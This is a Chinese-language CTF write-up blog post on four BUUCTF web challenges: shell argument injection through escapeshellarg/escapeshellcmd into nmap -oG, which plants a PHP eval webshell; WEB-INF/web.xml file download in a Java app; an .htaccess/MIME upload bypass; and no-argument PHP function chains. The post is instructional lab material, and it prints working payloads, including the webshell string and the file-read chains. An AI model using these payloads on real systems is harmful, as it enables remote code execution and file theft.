buuctf5

[BUUCTF 2018]Online Tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

真正有用的是从下面get开始,我们可以看到两个不同寻常的函数:

escapeshellcmd和escapeshellarg

看看有什么特性吧:

1
2
3
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
1
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符 。
  1. 传入的参数是:172.17.0.2' -v -d a=1
  2. 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
  3. 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
  4. 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'

参考:https://paper.seebug.org/164/

总的来说就是两个连用会造成单引号逃逸

回到本题中:
这里最后执行了system,不过是nmap的命令
这里查看一下nmap都有什么常用指令可以利用的

nmap输出选项

似乎有个任意文件写入:
Nmap可以把扫描结果保存为外部文件。在需要使用其他工具处理Nmap的扫描结果时,这一 功能十分有用。即使您设定程序把扫描结果保存为文件,Nmap还是会在屏幕上显示扫描结果。

1
nmap -oG 1.php <?php @eval($_POST["1"]);?>

经测试可以这样写

结合测试

测试一下如何添加单引号可以避免转义并且引入进行命令执行

1
'-oG 1.php <?php @eval($_POST[1]);?>'

解析一下:需要加两个单引号的原因是,如果不加单引号,代入到system中的执行就为'-oG 1.php <?php @eval($_POST[1]);?>'此时这一整段内容是被当做字符串的,我们需要让他逃逸出来,所以此时就用到了上述漏洞的特性

img

分析一下 此时前面两个引号闭合 中间一个\ 后面的引号再次闭合 最后四个引号也分别闭合:

发送以后会有文件夹的回显,进去用蚁剑连接即可:我从蚁剑里面查看了一下最终内容:

1
2
3
# Nmap 7.70 scan initiated Tue Mar 30 13:10:07 2021 as: nmap -T5 -sT -Pn --host-timeout 2 -F -oG 1.php \ <?php @eval($_POST[1]);?>\\
# Nmap done at Tue Mar 30 13:10:09 2021 -- 0 IP addresses (0 hosts up) scanned in 2.57 seconds
//可以发现一句话木马完好无损

我看别人的payload,一句话木马是放在前面的,但是我测试放在后面也可以,如果放在前面 还需要注意最后的’和前面的php是有一个空格因为1.php//是不会被认为是一个php文件的

[RoarCTF 2019]Easy Java

前言:有关java的题目是时候学一下了
看到登录框认为是sql注入,但是尝试了一下,发现好像没那意思,于是回想一下前几次的java题目,好像都会给源码,于是点了一下help,发现有文件下载漏洞?尝试了一下发现啥也不行,于是看了一下wp:
原来这题需要用post来发送数据,这里又为我们提供了一种思路,当get无反应时,不妨试试post,不够回想了一下,之前就有遇到过的样子,所以希望自己能记住吧
想起来之前整理的常见源码泄露:

web-inf源码泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
WEB-INF是Java的WEB应用的安全目录,如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。

WEB-INF 主要包含一下文件或目录:

​```
WEB-INF/web.xml : Web应用程序配置文件, 描述了servlet和其他的应用组件配置及命名规则.
WEB-INF/database.properties : 数据库配置文件
WEB-INF/classes/ : 一般用来存放Java类文件(.class)
WEB-INF/lib/ : 用来存放打包好的库(.jar)
WEB-INF/src/ : 用来放源代码(.asp和.php等)
​```

通过找到 web.xml 文件,推断 class 文件的路径,最后直接 class 文件,再通过反编译 class 文件,得到网站源码。

果然可以下载第一个目录下的文件
img

通过找到 web.xml 文件,推断 class 文件的路径,最后直接 class 文件,再通过反编译 class 文件,得到网站源码。
没看懂这个如何利用,于是查了一下:
当攻击者通过传入恶意的name参数值为WEB-INF/web.xml时可以读取Web应用的配置信息,而这里正好放了挺多class文件名,而这些class文件正好存在在WEB-INF/classes/这个当中,于是我们看上面的内容,不难构造:

1
2
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
#这边的.就是我们的/吧 然后最后我们要的FlagController java类文件加个后缀.class即可读出

[GXYCTF2019]BabyUpload

上传.htaccess
MIME绕过
在改后缀就行,我还加了个gif98a

[GXYCTF2019]禁止套娃

git文件泄露,扫描可得:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢? <br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {//这里说明只允许无参数的内容输入进来
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

php函数嵌套

1
2
3
4
5
6
7
scandir()   列出 images 目录中的文件和目录,scandir(.)
end() 将内部指针指向数组中的最后一个元素,并输出。
readfile() 输出一个文件
implode() 把数组元素组合为字符串
current(localeconv()) 返回一个.
next() 返回第二个元素的值
array_rand() 从数组中随机取出一个或多个单元

payload:

1
. .. .git flag.php index.php
1
?exp=echo(implode(scandir(chr(pos(localtime(time())))))); 
1
?exp=echo(implode(scandir(chr(pos(localtime(time()))))));
1
?exp=var_dump(file(next(array_reverse(scandir(current(localeconv()))))));

解析:
第一个判断让我们无法使用为协议,第二个判断让我们无法传入动态变量,第三个判断过滤一些系统命令,所以此时只能使用函数嵌套的方式进行解题,一开始构造的时候参考了一下大佬们的paylaod,用的是时间戳的函数,卡在二十多秒刚好有一个点,可以进行读取,后来发现使用current(localeconv())更好用,果然我就是个菜鸟,然后在想读取文件的时候,由于是在倒数第二个,比较难办,一开始想的是直接删除index.php文件就可,后来想想自己也太暴力,这个环境的运行就是依托这个文件的,于是就作罢了,然后再去查阅了一下资料,发现了一个翻转函数,这样就可以实现flag.php文件的读取了img

Author

vague huang

Posted on

2021-03-30

Updated on

2021-04-05

Licensed under

Comments